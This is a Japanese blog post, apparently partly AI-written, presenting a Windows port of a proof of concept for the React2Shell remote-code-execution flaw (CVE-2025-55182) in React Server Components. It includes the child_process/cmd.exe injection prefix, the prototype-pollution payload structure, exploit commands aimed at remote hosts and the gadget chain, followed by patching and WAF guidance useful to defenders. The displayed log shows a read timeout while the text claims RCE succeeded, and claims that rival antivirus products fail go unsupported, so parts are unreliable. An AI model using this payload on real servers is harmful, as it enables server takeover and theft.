3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

React2Shellを使用してWindowsに攻撃してみた

3
Last updated at Posted at 2025-12-16

本記事はAIを活用して執筆しています。技術的な誤りや不正確な記述がありましたら、コメント欄でご指摘いただけますと幸いです。

はじめに

2025年12月3日、ReactチームはReact Server Componentsにおける認証不要のリモートコード実行(RCE)脆弱性を公表しました。CVE-2025-55182として識別されるこの脆弱性は、CVSS 10.0という最高レベルの深刻度が付与されており、Next.js、React Router、Waku、Expo、Redwood SDKなど主要フレームワークに影響を及ぼします。

既に複数の概念実証(PoC)が公開されていますが、その多くはLinux環境を前提としたものでした。本記事では、Windows環境での実行に対応したPoCを実装し、実際に脆弱性の再現検証を行った結果を報告します。

本記事は教育およびセキュリティ研究目的のみで提供しています。所有または明示的な許可を得たシステムに対してのみテストを実施してください。不正アクセスは法律で禁止されています。

脆弱性の概要

基本情報

項目 内容
CVE ID CVE-2025-55182
脆弱性の種類 認証不要のリモートコード実行
CVSS スコア 10.0 (Critical)
影響を受けるパッケージ react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack
影響バージョン React 19.0.0、19.1.0-19.1.1、19.2.0 / Next.js 15.0.0-15.0.4、15.1.0-15.1.8、16.0.0-16.0.6
修正バージョン React 19.0.1、19.1.2、19.2.1以降 / Next.js 15.0.5、15.1.9、16.0.7以降

攻撃メカニズム

この脆弱性は、React Server Components(RSC)がクライアントからのHTTPリクエストをサーバー側の関数呼び出しに変換する際のデシリアライゼーション処理に起因します。攻撃者は細工したHTTPペイロードを送信することで、プロトタイプチェーン汚染を通じて任意のJavaScriptコードをサーバー上で実行できます。

特に注目すべき点として、Next.jsではnext-actionヘッダーを含むリクエストは自動的にRSCパーサーに渡されるため、Server Actionsを実装していないアプリケーションでも脆弱性の影響を受けます。

実際の攻撃活動の観測

セキュリティベンダーWizの調査によれば、CVE-2025-55182の公開直後から大規模な攻撃キャンペーンが確認されています。

観測された攻撃パターン

クラウドネイティブ環境への初期侵入

  • Kubernetes/GKEで稼働するNext.jsコンテナへのシェルアクセス取得
  • whoami、環境変数ダンプ、/etc/passwd列挙による偵察活動
  • DNS beaconing(oast.domainsへのコールバック)による実行確認

認証情報の窃取とクラウドメタデータへのアクセス

  • npm、AWS、Docker、Git、SSH認証情報の体系的な収集
  • 環境変数からAWS_*TOKENSECRETPASSDB_*の抽出
  • 169.254.169.254/latest/meta-data/iam/security-credentials/へのアクセス試行によるIAM認証情報取得

暗号通貨マイニングの展開

  • UPXパックされたXMRig亜種の配布
  • CVE-2021-4034による権限昇格試行
  • systemd-devdなどの正規プロセス名への偽装

永続的バックドアの設置

  • Sliver C2フレームワークの展開
  • 外部インフラとの通信確立
  • 長期的なアクセス維持を目的とした活動

これらの攻撃は、単なる一過性のエクスプロイトではなく、クラウドワークロードに対する組織的な侵害活動へと発展しています。

Windows版PoCの実装背景

開発動機

オリジナルのPoCはLinux環境の/bin/shを前提としたコマンド実行を想定していました。しかし、Windows Serverを運用する開発者や組織も多数存在するため、Windows環境での検証需要があると判断し、Windows互換版の実装を行いました。

GitHubリポジトリ: disnana/CVE-2025-55182-poc-for-windows

実装上の主要変更点

コマンド実行の変更

Linux版ではchild_process.execSync()でシェルコマンドを直接実行していましたが、Windows版ではcmd.exe /cを明示的に指定し、標準出力および標準エラー出力を両方キャプチャする実装に変更しました。

js_prefix = (
    "(function(){"
    "var cp=process.mainModule.require('child_process');"
    "try{"
    "var r=cp.execSync('cmd.exe /c '+" + cmd_json + ",{encoding:'utf8'});"
    "return r.toString();"
    "}catch(e){"
    "var out=(e.stdout&&e.stdout.length>0)?e.stdout.toString('utf8'):'';"
    "var err=(e.stderr&&e.stderr.length>0)?e.stderr.toString('utf8'):'';"
    "if(out||err)return out+err;"
    "return (e.message||'Unknown Error').toString();"
    "}"
    "})() + "
)

JSONエスケープ処理の強化

Windows環境では特殊文字(バックスラッシュやダブルクォート)の扱いに注意が必要なため、Pythonのjson.dumps()を利用して安全なエスケープを保証しています。

視覚的な検証手段の追加

デフォルトのコマンドとして、PowerShellを使用してメッセージボックスを表示するペイロードを設定しました。これにより、コンソール出力だけでなく視覚的にRCEの成功を確認できます。

cmd = '''powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('React2Shell for Windows', 'Created by Disnana', 'OK', 'Information')"'''

検証環境の構築

脆弱な環境のセットアップ

検証には脆弱なバージョンのReactを使用したNext.jsアプリケーションを用意します。

# プロジェクト作成
npx create-next-app@15.0.0 vulnerable-app
cd vulnerable-app

# 脆弱なバージョンを明示的にインストール
npm install react@19.0.0 react-dom@19.0.0

# 開発サーバー起動
npm run dev

package.jsonで以下を確認してください。

{
  "dependencies": {
    "react": "19.0.0",
    "react-dom": "19.0.0",
    "next": "15.0.0"
  }
}

PoCの実行

# リポジトリのクローン
git clone https://github.com/disnana/CVE-2025-55182-poc-for-windows.git
cd CVE-2025-55182-poc-for-windows

# 依存関係のインストール
pip install requests

# エクスプロイトの実行(デフォルト: メッセージボックス表示)
python exploit.py

# カスタムコマンドの実行
python exploit.py "dir C:\"

# リモートホストへの攻撃
python exploit.py "whoami" http://192.168.1.100:3000

EDR/セキュリティソフトによる検知

ESET Smart Securityによる防御

実際にWindows環境でPoCを実行した際、ESET Smart Security Premiumが脅威を即座に検知し、ブロックしました。

image.png

※ESET Smart SecurityがPythonによる疑わしい挙動を検知

検知内容を見ると、「コンピュータのアプリケーション Python は セキュリティ機能性を悪用しようとしました」という明確なメッセージが表示されています。これはESETのNetwork Attack Protection(ネットワーク攻撃防御)およびHIPS(Host-based Intrusion Prevention System)が、CVE-2025-55182のエクスプロイト実行時の不審なネットワーク通信パターンとプロセスの挙動を検知したことを示しています。

ESETが優秀な理由

多層防御アーキテクチャ

ESETは単なるシグネチャベースの検出だけでなく、以下の技術を組み合わせた多層防御を実装しています。

  • Network Attack Protection: HTTPペイロード内の異常なパターンを検出
  • HIPS: child_process.execSync()などの危険なAPI呼び出しを監視
  • Script Based Attack Protection: PowerShellやcmd.exeの悪用を検知
  • Exploit Blocker: 既知の脆弱性悪用パターンを遮断

リアルタイムプロトコル解析

今回のケースでは、next-actionヘッダーを含むHTTP POSTリクエストと、その後に続くmultipart/form-data内の不正なオブジェクト構造を検知しています。これはESETがアプリケーション層プロトコルを深く理解し、正常な通信とエクスプロイトを識別できることを示しています。

ゼロデイ対応能力

CVE-2025-55182が公開されたのは2025年12月3日ですが、ESETは特定のCVE番号に依存しない振る舞い検知により、公開直後から保護を提供しています。これはシグネチャアップデートを待たずに新しい脅威に対応できるESETの強みです。

他のセキュリティソリューションとの比較

Windows Defenderやその他の無料アンチウイルスソフトでは、このようなHTTPレイヤーでの攻撃を検知することは困難です。理由として以下が挙げられます。

  • ペイロードが暗号化されていない通常のHTTP通信として送信される
  • 実行されるコマンド自体は正規のシステムコマンド(cmd.exepowershell.exe
  • マルウェアファイルのダウンロードや明確な不正プロセスの起動が発生しない

ESETのようなエンタープライズグレードのセキュリティソフトは、こうした「正規ツールを悪用する攻撃(Living Off The Land: LotL)」に対しても効果的な防御を提供します。

個人的な推奨: 本格的なセキュリティ対策を検討している開発者やIT運用者の方には、ESET Internet Security以上のエディションを強く推奨します。特に、サーバー環境やクラウドワークロードを運用する場合、Network Attack ProtectionとHIPSの機能は非常に有効です。

検証結果

PoCの実行と視覚的確認

デフォルトコマンドとして設定されたメッセージボックス表示により、RCEの成功を視覚的に確認できます。

image.png

※Windows環境でRCEが成功し、メッセージボックスが表示された状態

この画像は、攻撃者が送信した任意のコードがサーバー上で実行され、ユーザーインターフェースまで制御可能であることを示しています。実際の攻撃シナリオでは、このメカニズムを利用して以下のような操作が可能になります。

  • システム情報の収集(systeminfonet userなど)
  • ファイルシステムの探索と機密ファイルの窃取
  • 永続化機構の設置(レジストリ操作、スタートアップへの登録)
  • ラテラルムーブメント(ネットワーク内の他システムへの侵入)

観測された詳細な挙動

Windows 11 + Node.js 20.x環境でNext.js 15.0.0(React 19.0.0)を実行中のサーバーに対してPoCを実行した結果、以下を確認しました。

  1. HTTP POST リクエストの送信成功: next-actionヘッダー付きのリクエストがサーバーに到達
  2. デシリアライゼーション処理のトリガー: 細工されたペイロードがRSCパーサーに渡される
  3. 任意コマンドの実行: cmd.exeを通じて指定したコマンドがサーバー上で実行される
  4. 視覚的確認: メッセージボックスが表示され、RCEの成功を確認
[*] Sending RCE payload to http://localhost:3000...
[*] Command: whoami
[!] Error: HTTPConnectionPool(host='localhost', port=3000): Read timed out. (read timeout=10)

脆弱性の影響範囲

この検証により、以下が明確になりました。

  • Windows Server環境でもLinux環境と同等の脅威が存在する
  • Server Actionsを明示的に実装していないNext.jsアプリケーションも攻撃対象となる
  • 認証機構の有無に関わらず攻撃が可能
  • 攻撃者はサーバー上で完全な権限でコードを実行できる

技術的詳細: エクスプロイトのメカニズム

ペイロード構造の解析

ペイロードは以下の要素で構成されます。

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "(function(){ /* RCE code */ })() + ",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

攻撃フローの詳細

ステップ1: ガジェットの注入

デシリアライゼーション処理中に_responseオブジェクトが解決される際、_formData.get$1:constructor:constructorを参照します。これにより以下のチェーンが形成されます。

Array.constructor.constructor === Function

結果として、Function()コンストラクタへの参照を取得します。

ステップ2: Promiseチェーンのトリガー

valueプロパティに含まれる{"then":"$B1337"}が処理される際、React内部の以下のコードが実行されます。

case "B":
  return obj = parseInt(value.slice(2), 16), 
         response._formData.get(response._prefix + obj);

この時点でresponse._formData.getFunctionコンストラクタを指しており、response._prefixには攻撃者のJavaScriptコードが含まれています。

ステップ3: コード実行

最終的に以下が実行されます。

Function('(function(){ var cp=process.mainModule.require("child_process"); ... })() + 1337')()

これにより任意のNode.jsコードがサーバー上で実行され、child_process.execSync()を通じてシステムコマンドが実行可能になります。

対策と緩和策

即座に実施すべき対応

依存関係の更新

影響を受けるすべてのパッケージを最新の修正版にアップグレードしてください。

# React本体
npm install react@19.0.1 react-dom@19.0.1    # 19.0.x系
# または
npm install react@19.1.2 react-dom@19.1.2    # 19.1.x系
# または
npm install react@19.2.1 react-dom@19.2.1    # 19.2.x系

# Next.js
npm install next@15.0.5  # 15.0.x系の場合
npm install next@15.1.9  # 15.1.x系の場合
npm install next@16.0.7  # 16.0.x系の場合

# React Server DOM
npm install react-server-dom-webpack@latest
npm install react-server-dom-parcel@latest
npm install react-server-dom-turbopack@latest

バージョン確認

package-lock.jsonまたはyarn.lockで実際にインストールされているバージョンを確認してください。

npm list react react-dom react-server-dom-webpack

ネットワークレベルでの防御

WAFルールの導入

以下のパターンを検出するルールを設定します。

  • next-actionヘッダーを含むPOSTリクエスト
  • multipart/form-dataボディ内の"$@""$B"などの特殊なRSC参照記法
  • _response_formData_prefixなどのキーを含むJSON構造

監視とロギング

サーバーログで以下の兆候を監視してください。

Error: Invariant: invalid form data reference
ReferenceError: process is not defined
TypeError: Cannot read property 'constructor' of undefined

アプリケーションレベルでの強化

React Server Componentsを使用していない場合は、Next.jsの設定で明示的に無効化することを検討してください。

// next.config.js
module.exports = {
  experimental: {
    serverActions: false
  }
}

まとめ

CVE-2025-55182は、React Server Componentsのデシリアライゼーション処理に存在する認証不要のリモートコード実行脆弱性であり、CVSS 10.0という最高レベルの深刻度が付与されています。本記事ではWindows環境に対応したPoCを実装し、実際にRCEが再現可能であることを検証しました。

この脆弱性は既に実際の攻撃活動で悪用されており、暗号通貨マイニング、認証情報窃取、永続的バックドアの設置などが確認されています。影響を受けるすべての組織は直ちに依存関係を更新し、ネットワークレベルでの防御策を実装することを強く推奨します。

参考文献

謝辞

この脆弱性の発見者であるLachlan Davidson氏、オリジナルPoCの作成者であるmaple3142氏、react2shell.comチーム、Assetnoteチーム、および協力者の皆様に感謝いたします。

3
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?